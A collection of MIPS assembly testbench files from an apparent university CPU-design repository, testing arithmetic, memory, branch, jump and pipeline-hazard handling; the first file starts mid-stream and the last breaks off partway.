$24, $16, skip24 nop multu $2, $3 skip24: mflo $2 addu $2, $2, $4 li $18, 878338649 sw $18, 100($0) subu $26, $18, $0 lbu $26, 100($0) nop nop bne $26, $18, skip25 nop multu $2, $3 skip25: mflo $2 addu $2, $2, $4 li $15, -629177257 sw $15, 104($0) subu $30, $15, $2 nop nop lw $30, 104($0) bne $15, $30, skip26 nop multu $2, $3 skip26: mflo $2 addu $2, $2, $4 li $27, -2137295226 sw $27, 108($0) subu $11, $27, $0 nop lbu $11, 108($0) nop beq $11, $27, skip27 nop multu $2, $3 skip27: mflo $2 addu $2, $2, $4 li $28, 1495291564 sw $28, 112($0) subu $27, $28, $0 lhu $27, 112($0) nop nop beq $27, $28, skip28 nop multu $2, $3 skip28: mflo $2 addu $2, $2, $4 li $30, 2055753345 sw $30, 116($0) subu $7, $30, $0 nop nop lb $7, 116($0) bne $30, $7, skip29 nop multu $2, $3 skip29: mflo $2 addu $2, $2, $4 li $29, 629176359 sw $29, 120($0) subu $12, $29, $0 nop lbu $12, 120($0) nop beq $29, $12, skip30 nop multu $2, $3 skip30: mflo $2 addu $2, $2, $4 li $24, 2715 sw $24, 124($0) subu $19, $24, $0 lbu $19, 124($0) nop nop beq $24, $19, skip31 nop multu $2, $3 skip31: mflo $2 addu $2, $2, $4 multu $2, $3 subu $17, $0, $2 nop nop srav $17, $2, $0 bltz, $17, skip32 nop sw $2, 128($0) skip32: mflo $2 addu $2, $2, $4 multu $2, $3 subu $11, $0, $2 nop addu $11, $2, $0 nop bltz, $11, skip33 nop sw $2, 132($0) skip33: mflo $2 addu $2, $2, $4 multu $2, $3 subu $21, $0, $2 or $21, $2, $0 nop nop bgtz, $21, skip34 nop sw $2, 136($0) skip34: mflo $2 addu $2, $2, $4 multu $2, $3 subu $19, $0, $2 nop nop subu $19, $2, $0 bltz, $19, skip35 nop sw $2, 140($0) skip35: mflo $2 addu $2, $2, $4 multu $2, $3 subu $24, $0, $2 nop addu $24, $2, $0 nop bgtz, $24, skip36 nop sw $2, 144($0) skip36: mflo $2 addu $2, $2, $4 multu $2, $3 subu $29, $0, $2 addu $29, $2, $0 nop nop bltz, $29, skip37 nop sw $2, 148($0) skip37: mflo $2 addu $2, $2, $4 multu $2, $3 subu $15, $0, $2 nop nop subu $15, $2, $0 bltz, $15, skip38 nop sw $2, 152($0) skip38: mflo $2 addu $2, $2, $4 multu $2, $3 subu $13, $0, $2 nop srlv $13, $2, $0 nop bgez, $13, skip39 nop sw $2, 156($0) skip39: mflo $2 addu $2, $2, $4 multu $2, $3 subu $23, $0, $2 or $23, $2, $0 nop nop bgtz, $23, skip40 nop sw $2, 160($0) skip40: mflo $2 addu $2, $2, $4 multu $2, $3 subu $9, $0, $2 nop nop ori $9, $2, 0 bgez, $9, skip41 nop sw $2, 164($0) skip41: mflo $2 addu $2, $2, $4 multu $2, $3 subu $14, $0, $2 nop xori $14, $2, 0 nop bltz, $14, skip42 nop sw $2, 168($0) skip42: mflo $2 addu $2, $2, $4 multu $2, $3 subu $17, $0, $2 xori $17, $2, 0 nop nop bltz, $17, skip43 nop sw $2, 172($0) skip43: mflo $2 addu $2, $2, $4 multu $2, $3 subu $23, $0, $2 nop nop ori $23, $2, 0 bgez, $23, skip44 nop sw $2, 176($0) skip44: mflo $2 addu $2, $2, $4 multu $2, $3 subu $9, $0, $2 nop xori $9, $2, 0 nop bgtz, $9, skip45 nop sw $2, 180($0) skip45: mflo $2 addu $2, $2, $4 multu $2, $3 subu $28, $0, $2 srl $28, $2, 0 nop nop bltz, $28, skip46 nop sw $2, 184($0) skip46: mflo $2 addu $2, $2, $4 multu $2, $3 subu $15, $0, $2 nop nop sll $15, $2, 0 bltz, $15, skip47 nop sw $2, 188($0) skip47: mflo $2 addu $2, $2, $4 multu $2, $3 subu $25, $0, $2 nop ori $25, $2, 0 nop bltz, $25, skip48 nop sw $2, 192($0) skip48: mflo $2 addu $2, $2, $4 multu $2, $3 subu $18, $0, $2 xori $18, $2, 0 nop nop bgez, $18, skip49 nop sw $2, 196($0) skip49: mflo $2 addu $2, $2, $4 multu $2, $3 lui $21, 45265 nop nop lui $21, 20270 bgtz $21, skip50 nop sw $2, 200($0) skip50: mflo $2 addu $2, $2, $4 multu $2, $3 lui $14, 33124 nop lui $14, 32411 nop bgtz $14, skip51 nop sw $2, 204($0) skip51: mflo $2 addu $2, $2, $4 multu $2, $3 lui $9, 35385 lui $9, 30150 nop nop bgez $9, skip52 nop sw $2, 208($0) skip52: mflo $2 addu $2, $2, $4 mthi $2 nor $20, $2, $0 nop nop mfhi $20 bltz $20, skip53 nop sw $2, 212($0) skip53: mtlo $2 nor $7, $2, $0 nop mflo $7 nop bgez $7, skip54 nop sw $2, 216($0) skip54: mtlo $2 nor $19, $2, $0 mflo $19 nop nop bgtz $19, skip55 nop sw $2, 220($0) skip55: mtlo $2 nor $26, $2, $0 nop nop mflo $26 bgtz $26, skip56 nop sw $2, 224($0) skip56: mthi $2 nor $11, $2, $0 nop mfhi $11 nop bgez $11, skip57 nop sw $2, 228($0) skip57: mtlo $2 nor $17, $2, $0 mflo $17 nop nop bgtz $17, skip58 nop sw $2, 232($0) skip58: mtlo $2 nor $29, $2, $0 nop nop mflo $29 bltz $29, skip59 nop sw $2, 236($0) skip59: mtlo $2 nor $28, $2, $0 nop mflo $28 nop bgtz $28, skip60 nop sw $2, 240($0) skip60: mtlo $2 nor $23, $2, $0 mflo $23 nop nop bgtz $23, skip61 nop sw $2, 244($0) skip61: multu $2, $3 lbu $11, 52($0) nor $11, $11, $0 nop nop lbu $11, 52($0) bgtz $11, skip62 nop sw $2, 248($0) skip62: mflo $2 addu $2, $2, $4 multu $2, $3 lw $12, 32($0) nor $12, $12, $0 nop lw $12, 32($0) nop bltz $12, skip63 nop sw $2, 252($0) skip63: mflo $2 addu $2, $2, $4 multu $2, $3 lw $19, 148($0) nor $19, $19, $0 lw $19, 148($0) nop nop bltz $19, skip64 nop sw $2, 256($0) skip64: mflo $2 addu $2, $2, $4 multu $2, $3 lh $10, 150($0) nor $10, $10, $0 nop nop lh $10, 150($0) bltz $10, skip65 nop sw $2, 260($0) skip65: mflo $2 addu $2, $2, $4 multu $2, $3 lb $12, 79($0) nor $12, $12, $0 nop lb $12, 79($0) nop bltz $12, skip66 nop sw $2, 264($0) skip66: mflo $2 addu $2, $2, $4 multu $2, $3 lbu $28, 150($0) nor $28, $28, $0 lbu $28, 150($0) nop nop bltz $28, skip67 nop sw $2, 268($0) skip67: mflo $2 addu $2, $2, $4 multu $2, $3 lw $8, 220($0) nor $8, $8, $0 nop nop lw $8, 220($0) bgez $8, skip68 nop sw $2, 272($0) skip68: mflo $2 addu $2, $2, $4 multu $2, $3 lh $15, 218($0) nor $15, $15, $0 nop lh $15, 218($0) nop bgtz $15, skip69 nop sw $2, 276($0) skip69: mflo $2 addu $2, $2, $4 multu $2, $3 lb $24, 116($0) nor $24, $24, $0 lb $24, 116($0) nop nop bgtz $24, skip70 nop sw $2, 280($0) skip70: mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 12 la $13, skip71 jalr $29, $13 addu $13, $29, $1 skip71: jr $13 nop sw $2, 284($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 16 la $8, skip72 jalr $10, $8 nop skip72: addu $8, $10, $1 jr $8 nop sw $2, 288($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip73 nop skip73: nop addu $13, $31, $1 jr $13 nop sw $2, 292($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 16 la $9, skip74 jalr $15, $9 addu $9, $15, $1 skip74: nop jr $9 nop sw $2, 296($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip75 nop skip75: addu $24, $31, $1 nop jr $24 nop sw $2, 300($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 24 la $13, skip76 jalr $26, $13 nop skip76: nop addu $13, $26, $1 nop jr $13 nop sw $2, 304($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip77 addu $14, $31, $1 skip77: nop nop jr $14 nop sw $2, 308($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 24 jal skip78 nop skip78: addu $22, $31, $1 nop nop jr $22 nop sw $2, 312($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 28 jal skip79 nop skip79: nop addu $15, $31, $1 nop nop jr $15 nop sw $2, 316($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip80 addi $23, $31, 12 skip80: jr $23 nop sw $23, 320($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $19, skip81 jalr $15, $19 nop skip81: addi $19, $15, 16 jr $19 nop sw $19, 324($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip82 nop skip82: nop addi $10, $31, 20 jr $10 nop sw $10, 328($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $11, skip83 jalr $23, $11 addi $11, $23, 16 skip83: nop jr $11 nop sw $11, 332($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $24, skip84 jalr $21, $24 nop skip84: addi $24, $21, 20 nop jr $24 nop sw $24, 336($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $29, skip85 jalr $28, $29 nop skip85: nop addi $29, $28, 24 nop jr $29 nop sw $29, 340($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip86 addi $12, $31, 20 skip86: nop nop jr $12 nop sw $12, 344($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $19, skip87 jalr $8, $19 nop skip87: addi $19, $8, 24 nop nop jr $19 nop sw $19, 348($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $25, skip88 jalr $17, $25 nop skip88: nop addi $25, $17, 28 nop nop jr $25 nop sw $25, 352($0) mflo $2 addu $2, $2, $4 dl: j dl nop # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000

25th-engineer/HFUT_2020_MIPS_CPU

6,695

TESTBENCH/testbench_wh_3.s

.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # # 用nop和ori指令作为开始标志 # start code # 3400 0000 3400 0000 # ori $0, $0, 0x0000 # ori $0, $0, 0x0000 # 注意由于，编译装入问题，此处不用原先指令开头 # 3403 8000 # ori $3, $0, 0x8000 # 此处开始书写代码 .org 0x0000 lw $1, 8188($0) li $2, 1370698181 addu $2, $1, $2 li $3, 624781182 li $4, -1346036914 multu $2, $3 li $22, -928840339 addu $24, $22, $2 nop nop sllv $24, $22, $0 beq $24, $22, skip0 nop addiu $2, $2, 27222 skip0: sw $2, 0($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1594176031 addu $10, $25, $2 nop addu $10, $25, $0 nop bne $10, $25, skip1 nop addiu $2, $2, 31929 skip1: sw $2, 4($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, -2119359507 addu $11, $25, $2 xor $11, $25, $0 nop nop beq $11, $25, skip2 nop addiu $2, $2, 3010 skip2: sw $2, 8($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $19, 1297194016 addu $14, $19, $2 nop nop xor $14, $19, $0 beq $14, $19, skip3 nop addiu $2, $2, 29169 skip3: sw $2, 12($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $23, 1553809414 addu $24, $23, $0 nop or $24, $23, $2 nop beq $24, $23, skip4 nop addiu $2, $2, 6765 skip4: sw $2, 16($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $11, 1462873855 addu $25, $11, $2 subu $25, $11, $0 nop nop beq $25, $11, skip5 nop addiu $2, $2, 24212 skip5: sw $2, 20($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, -1935796249 addu $29, $21, $0 nop nop or $29, $21, $2 beq $29, $21, skip6 nop addiu $2, $2, 20534 skip6: sw $2, 24($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, 600920159 addu $10, $8, $0 nop sllv $10, $8, $2 nop beq $10, $8, skip7 nop addiu $2, $2, 18367 skip7: sw $2, 28($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $10, 245016401 addu $16, $10, $0 or $16, $10, $2 nop nop bne $16, $10, skip8 nop addiu $2, $2, 1554 skip8: sw $2, 32($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1977109191 addiu $20, $25, 0 nop nop addiu $20, $25, 9834 beq $25, $20, skip9 nop nor $2, $2, $25 skip9: sw $2, 36($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -1206068049 addiu $13, $24, 0 nop addiu $13, $24, 28753 nop beq $24, $13, skip10 nop nor $2, $2, $24 skip10: sw $2, 40($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 2080420061 addiu $7, $21, 0 srl $7, $21, 1 nop nop beq $21, $7, skip11 nop nor $2, $2, $21 skip11: sw $2, 44($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -791642528 addiu $22, $24, 0 nop nop xori $22, $24, 6438 bne $24, $22, skip12 nop nor $2, $2, $24 skip12: sw $2, 48($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, -911568785 addiu $22, $8, 0 nop addiu $22, $8, 17950 nop beq $8, $22, skip13 nop nor $2, $2, $8 skip13: sw $2, 52($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 426530782 addiu $8, $21, 6622 ori $8, $21, 23640 nop nop bne $21, $8, skip14 nop nor $2, $2, $21 skip14: sw $2, 56($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $18, 704083205 addiu $19, $18, 28241 nop nop sll $19, $18, 14 beq $18, $19, skip15 nop nor $2, $2, $18 skip15: sw $2, 60($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $15, 1322704609 addiu $11, $15, 0 nop addiu $11, $15, 25990 nop beq $15, $11, skip16 nop nor $2, $2, $15 skip16: sw $2, 64($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $29, -1891138629 addiu $25, $29, 1450 sll $25, $29, 26 nop nop bne $29, $25, skip17 nop nor $2, $2, $29 skip17: sw $2, 68($0) mflo $2 addu $2, $2, $4 addu $28, $2, $8 lui $8, 64451 lui $28, 64451 nop beg18: beq $8, $28, skip18 addu $8, $0, $0 beq $0, $0, beg18 subu $28, $28, $28 skip18: sw $28, 72($0) lui $8, 64451 nop lui $28, 19666 beg19: bne $8, $28, skip19 addu $28, $0, $0 beq $1, $1, beg19 addu $8, $28, $2 skip19: sw $8, 76($0) li $30, -1602503051 mthi $30 li $30, -1602503051 li $23, 523843457 nop nop mfhi $23 beq $30, $23, skip20 nop sw $30, 80($0) skip20: li $13, -1153218862 mtlo $13 li $13, -1153218862 li $7, 638425955 nop mflo $7 nop bne $13, $7, skip21 nop sw $13, 84($0) skip21: li $23, -1501334171 mthi $23 li $23, -1501334171 li $8, -376855767 mfhi $8 nop nop beq $23, $8, skip22 nop sw $23, 88($0) skip22: jr $13 nop sw $2, 284($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 16 la $8, skip23 jalr $10, $8 nop skip23: addu $8, $10, $1 jr $8 nop sw $2, 288($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip24 nop skip24: nop addu $13, $31, $1 jr $13 nop sw $2, 292($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 16 la $9, skip25 jalr $15, $9 addu $9, $15, $1 skip25: nop jr $9 nop sw $2, 296($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip26 nop skip26: addu $24, $31, $1 nop jr $24 nop sw $2, 300($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 24 la $13, skip27 jalr $26, $13 nop skip27: nop addu $13, $26, $1 nop jr $13 nop sw $2, 304($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 20 jal skip28 addu $14, $31, $1 skip28: nop nop jr $14 nop sw $2, 308($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 24 jal skip29 nop skip29: addu $22, $31, $1 nop nop jr $22 nop sw $2, 312($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $1, 28 jal skip30 nop skip30: nop addu $15, $31, $1 nop nop jr $15 nop sw $2, 316($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip31 addi $23, $31, 12 skip31: jr $23 nop sw $23, 320($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $19, skip32 jalr $15, $19 nop skip32: addi $19, $15, 16 jr $19 nop sw $19, 324($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip33 nop skip33: nop addi $10, $31, 20 jr $10 nop sw $10, 328($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $11, skip34 jalr $23, $11 addi $11, $23, 16 skip34: nop jr $11 nop sw $11, 332($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $24, skip35 jalr $21, $24 nop skip35: addi $24, $21, 20 nop jr $24 nop sw $24, 336($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $29, skip36 jalr $28, $29 nop skip36: nop addi $29, $28, 24 nop jr $29 nop sw $29, 340($0) mflo $2 addu $2, $2, $4 multu $2, $3 jal skip37 addi $12, $31, 20 skip37: nop nop jr $12 nop sw $12, 344($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $19, skip38 jalr $8, $19 nop skip38: addi $19, $8, 24 nop nop jr $19 nop sw $19, 348($0) mflo $2 addu $2, $2, $4 multu $2, $3 la $25, skip39 jalr $17, $25 nop skip39: nop addi $25, $17, 28 nop nop jr $25 nop sw $25, 352($0) mflo $2 addu $2, $2, $4 dl: j dl # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000

25th-engineer/HFUT_2020_MIPS_CPU

1,956

TESTBENCH/testbench_lhx.s

.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 ori $3, $0, 0x8000 # [1] $3 = 0x00008000 sll $3, 16 # [2] $3左移16位，$3 = 0x80000000 ori $1, $0, 0x0001 # [3] $1 = 0x1 b s1 # [4] 转移到s1处 ori $1, $0, 0x0002 # [5] $1 = 0x2,延迟槽指令 b1: ori $1, $0, 0x1111 ori $1, $0, 0x1100 .org 0x20 s1 : ori $1, $0, 0x0004 # [6] $1 = 0x4 movz $2, $1, $0 # [7] $2 = $1 = 0x4 bal s2 # [8] 转移到s2处，同时设置$31为0x30 srlv $3, $3, $1 # [9] $3右移 $1 = 0x4 位,$3 = 0x08000000，延迟槽指令 ori $1, $0, 0x1100 # 地址为0x30，保存在$31中 ori $1, $0, 0x1111 bne $1, $0, s3 nop ori $1, $0, 0x1100 ori $1, $0, 0x1111 .org 0x50 s2: ori $1, $0, 0x0003 # [10] $1 = 0x3 beq $3, $3, s3 # [11] $3等于$3，发生转移，目的地址是s3 or $1, $31, $0 # [12] $1 = 0x30,延迟槽指令 ori $1, $0, 0x1111 ori $1, $0, 0x1100 b2: addi $2, $1, 0x0015 # [16] $2 = $1(0x6) + 0x15 = 0x1b ori $1, $0, 0x2 # [17] $1 = 0x2, mul $4, $1, $2 # [18] $4 = $1(0x6) * $2(0x1b) ori $1, $1, 0xffff sll $1, $1, 16 addi $1, $1, 0xffe3 bgtz $2, s4 # [19] 此时$1为0x8，大于0，所以转移至标号s4处 addi $1, $1, 0x1000 .org 0x90 s3: ori $1, $0, 0x0005 # [13] $1 = 0x5 bgez $1, b2 # [14] 此时$1为0x5 大于0,转移至前面的b2处 ori $1, $0, 0x0006 # [15] $1 = 0x6，延迟槽指令 ori $1, $0, 0x1111 ori $1, $0, 0x1100 nop s4: ori $2, $0, 0xffff # [20] $2 = 0x0000ffff sll $2, $2, 16 # $2 = 0xffff0000 ori $2, $2, 0xfff1 # $2 = -15 (0xfffffff1) ori $3, $0, 0x11 # $3 = 17 (0x00000011) div $0, $2, $3 # hi = 0xfffffff1 # lo = 0x0 divu $0, $2, $3 # hi = 0x00000003 # lo = 0x0f0f0f0e div $0, $3, $2 # hi = 0x02 # lo = 0xffffffff # next0: j next0 # [21] 指令运行结束，等待退出 nop # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000

25th-engineer/HFUT_2020_MIPS_CPU

1,530

TESTBENCH/code_temp.s

# Test File for 40 Instruction, include: # 1. Subset 1: # ADD/SUB/SLL/SRL/SRA/SLLV/SRLV/SRAV/AND/OR/XOR/NOR/ # SLT 12 # 2. Subset 2: # ADDI/ANDI/ORI/XORI/LUI/SLTI 6 # 3. Subset 3: # LB/LH/LW/SB/SH/SW 6 # 4. Subset 4: # BEQ/BNE/BGEZ/BGTZ/BLEZ/BLTZ 6 # 5. Subset 5: # J/JAL/JR/JALR 4 # 6. Subset 6: # MULT/DIV/MFLO/MFHI/MTLO/MTHI 6 # 40 ################################################################## ### Make sure following Settings : # Settings -> Memory Configuration -> Compact, Data at address 0 # Settings -> Delayed branching .org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 ################## # Test Subset 2 # ori $v0, $0, 0x1234 lui $v1, 0x9876 addi $a0, $v0, 0x3456 addi $a1, $v1, -1024 xori $a2, $v0, 0xabcd slti $a1, $a0, 0x34 slti $a1, $v0, -1 andi $a3, $a2, 0x7654 slti $t0, $v1, 0x1234 ################## # Test Subset 1 # sub $t0, $v1, $v0 xor $t1, $t0, $v1 add $t2, $t1, $t0 add $t2, $t2, $v0 sub $t3, $t2, $v1 nor $t4, $t3, $t2 or $t5, $t3, $t2 and $t6, $t3, $t2 slt $s3, $t5, $t4 slt $s4, $t5, $t4 ### Test for shift sll $t0, $t0, 3 srl $t1, $t0, 16 sra $t2, $t0, 29 addi $t3, $0, 0x3410 # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000

25th-engineer/HFUT_2020_MIPS_CPU

6,232

TESTBENCH/P6_hazard.s

# Test File for 40 Instruction, include: # 1. Subset 1: # ADD/SUB/SLL/SRL/SRA/SLLV/SRLV/SRAV/AND/OR/XOR/NOR/ # SLT 12 # 2. Subset 2: # ADDI/ANDI/ORI/XORI/LUI/SLTI 6 # 3. Subset 3: # LB/LH/LW/SB/SH/SW 6 # 4. Subset 4: # BEQ/BNE/BGEZ/BGTZ/BLEZ/BLTZ 6 # 5. Subset 5: # J/JAL/JR/JALR 4 # 6. Subset 6: # MULT/DIV/MFLO/MFHI/MTLO/MTHI 6 # 40 ################################################################## ### Make sure following Settings : # Settings -> Memory Configuration -> Compact, Data at address 0 # Settings -> Delayed branching .org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # 用ori指令作为开始标志 # start code # ori $0, $0, 0x0000 # 3400 0000 # 此处开始书写代码 .org 0x0000 ori $0, $0, 0x0000 # 真正的代码 ### initial the sp & var xor $gp, $0, $0 ori $k0, $0, 0x01 ori $k1, $0, 0x04 ori $sp, $0, 0x20 sw $sp, 0($0) add $s6, $0, $0 add $s7, $0, $0 #### No.1 Instr-sequence addi $a0, $0, 0x0f0f addi $a1, $a0, 0x0080 # I.E_RS -- Cal.M xori $a2, $a0, 0x8111 # I.E_RS -- Cal.W ori $a3, $a0, 0x0040 ## after every hazard, save the result for checking sw $a1, 0($sp) add $sp, $sp, $k1 sh $a2, 2($sp) # Store.M_Rt -- Cal.W add $sp, $k1, $sp # R.E_Rt -- Cal.W sb $a3, 3($sp) add $t1, $k1, $0 add $sp, $t1, $sp # R.E_Rt -- Cal.M #### No.2 Instr-sequence lh $t0, 0x26($0) sra $t1, $t0, 4 # I.E_RS -- Load.M & I.E_RS -- Load.W sb $t1, 3($sp) add $sp, $sp, $k1 #### No.3 Instr-sequence jal f1 # I.E_RS -- Jal.W add $s7, $s7, $k0 sw $t1, 0($sp) add $sp, $sp, $k1 #### No.4 Instr-sequence add $t1, $t1, $t0 sub $t2, $t1, $t0 # R.E_RS -- Cal.M srlv $t3, $t1, $t0 # R.E_RS -- Cal.W sh $t2, 0($sp) sb $t3, 5($sp) add $sp, $sp, $k1 add $sp, $sp, $k1 #### No.5 Instr-sequence ori $t1, $0, 0x4 sw $a0, 0($t1) # Store.E_RS -- Cal.M sw $a1, 4($t1) # Store.E_RS -- Cal.W #### No.6 Instr-sequence ori $t2, $0, 0x8 lb $t1, 0($t2) # Load.E_RS -- Cal.M lh $t3, -4($t2) # Load.E_RS -- Cal.W sw $t1, 0($sp) add $sp, $sp, $k1 sw $t3, 0($sp) add $sp, $sp, $k1 #### No.7 Instr-sequence lw $t0, -12($sp) bgez $t0, _lbl_1 # Br.D_RS -- Load.E & Br.D_RS -- Load.M & Br.D_RS -- Load.W add $s7, $s7, $k0 add $s6, $s6, $k0 #### No.8 Instr-sequence _lbl_1: lw $t0, -4($sp) bne $t0, $t3, _lbl_2 # Br.D_RT -- Load.E & Br.D_RT -- Load.M & Br.D_RT -- Load.W add $s7, $s7, $k0 add $s6, $s6, $k0 #### No.9 Instr-sequence _lbl_2: add $t0, $a1, $0 add $t1, $a0, $0 bne $t1, $t0, _lbl_3 # Br.D_RS -- Cal.E && Br.D_RS -- Cal.M && Br.D_RT -- Cal.W add $s7, $s7, $k0 add $s6, $s6, $k0 #### No.10 Instr-sequence _lbl_3: addi $t0, $a2, -10 sllv $t1, $a0, $t0 bltz $t1, _lbl_5 # Br.D_RT -- Cal.E && Br.D_RT -- Cal.M && Br.D_RS -- Cal.W add $s7, $s7, $k0 add $s6, $s6, $k0 #### No.11 Instr-sequence _lbl_5: lw $t0, -8($sp) srlv $t1, $t0, $t0 # R.E_RS -- Load.M & R.E_RS -- Load.W & R.E_RT -- Load.M & R.E_RT -- Load.W sw $t1, 0($sp) add $sp, $sp, $k1 #### No.12 Instr-sequence lw $t0, 0($0) lw $t1, 0($t0) # Load.E_RS -- Load.M & Load.E_RS -- Load.W sw $t1, 0($sp) add $sp, $sp, $k1 #### No.13 Instr-sequence sw $sp, 0($0) # prepare for next hazard add $sp, $sp, $k1 lw $t0, 0($0) sw $t0, 0($t0) # Store.E_RS -- Load.M & Store.E_RS -- Load.W & STORE.M_RT -- Load.W #### No.14 Instr-sequence jal f2 add $s7, $s7, $k0 #### No.15 Instr-sequence add $t1, $ra, $0 addi $t0, $0, 24 add $t1, $t1, $t0 add $t9, $0, $0 jal f3 add $s7, $s7, $k0 #### No.16 Instr-sequence ori $t0, $0, 212 add $t1, $ra, $t0 jal f4 add $s7, $s7, $k0 #### No.17 Instr-sequence addi $t0, $0, 80 add $t1, $ra, $t0 jal f5 add $s7, $s7, $k0 #### No.18 Instr-sequence jal f6 add $s7, $s7, $k0 #### No.19 Instr-sequence jal f7 add $s7, $s7, $k0 #### No.20 Instr-sequence jal f8 add $s7, $s7, $k0 #### No.21 Instr-sequence jal f10 add $s7, $s7, $k0 #### No.22 Instr-sequence la $t0, f11 jalr $t0 # JALR.D_RS -- Cal.E & JALR.D_RS -- Cal.M add $s7, $s7, $k0 #### No.23 Instr-sequence sw $t0, 0($sp) add $sp, $sp, $k1 lw $t1, -4($sp) jalr $t1 # JALR.D_RS -- Load.E add $s7, $s7, $k0 #### No.24 Instr-sequence lw $t0, -4($sp) lw $t1, -8($sp) mult $t0, $t1 mflo $t2 div $t1, $t0 mfhi $t3 sw $t2, 0($sp) add $sp, $sp, $k1 sw $t3, 0($sp) add $sp, $sp, $k1 ### store delay slot counter ### sw $s7, 0($sp) add $sp, $sp, $k1 sw $s6, 0($sp) add $sp, $sp, $k1 _loop: j _loop nop nop ### Function List ### f1: andi $t1, $31, 0x56 # I.E_RS -- Jal.W jr $31 add $s7, $s7, $k0 add $t9, $0, $0 f2: lh $t1, -0x3102($ra) # Load.E_Rs -- Jal.W sw $t1, 0($sp) add $sp, $sp, $k1 jr $31 add $s7, $s7, $k0 add $t9, $0, $0 f3: add $t9, $0, $0 beq $t1, $ra, _f3_lbl # Br.D_RS -- Jal.W add $s7, $s7, $k0 add $s6, $s6, $k0 _f3_lbl: jr $ra add $s7, $s7, $k0 add $t9, $0, $0 f4: beq $t1, $ra, _f4_lbl # Br.D_RS -- Jal.M add $s7, $s7, $k0 add $s6, $s6, $k0 _f4_lbl: jr $ra add $s7, $s7, $k0 add $t9, $0, $0 f5: beq $ra, $t1, _f5_lbl # Br.D_RT -- Jal.M add $s7, $s7, $k0 add $s6, $s6, $k0 _f5_lbl: jr $ra add $s7, $s7, $k0 f6: add $t0, $ra, $ra # R.E_RS -- Jal.W & R.E_RT -- Jal.W sw $t0, 0($sp) add $sp, $sp, $k1 jr $ra add $s7, $s7, $k0 f7: sw $sp, -0x3160($ra) # Store.E_Rs -- Jal.W jr $ra add $s7, $s7, $k0 f8: sw $ra, 0($sp) add $sp, $sp, $k1 sub $ra, $ra, $k1 jal f9 add $s7, $s7, $k0 lw $ra, -8($sp) # jr.D_Rs -- Load.E & jr.D_Rs -- Load.M & jr.D_Rs -- Load.W jr $ra # jr.D_RS -- Jal.M add $s7, $s7, $k0 f9: sw $ra, 0($sp) add $sp, $sp, $k1 ori $t0, $0, 8 add $ra, $ra, $t0 add $t9, $0, $0 add $t9, $0, $0 sub $ra, $ra, $t0 # jr.D_Rs -- 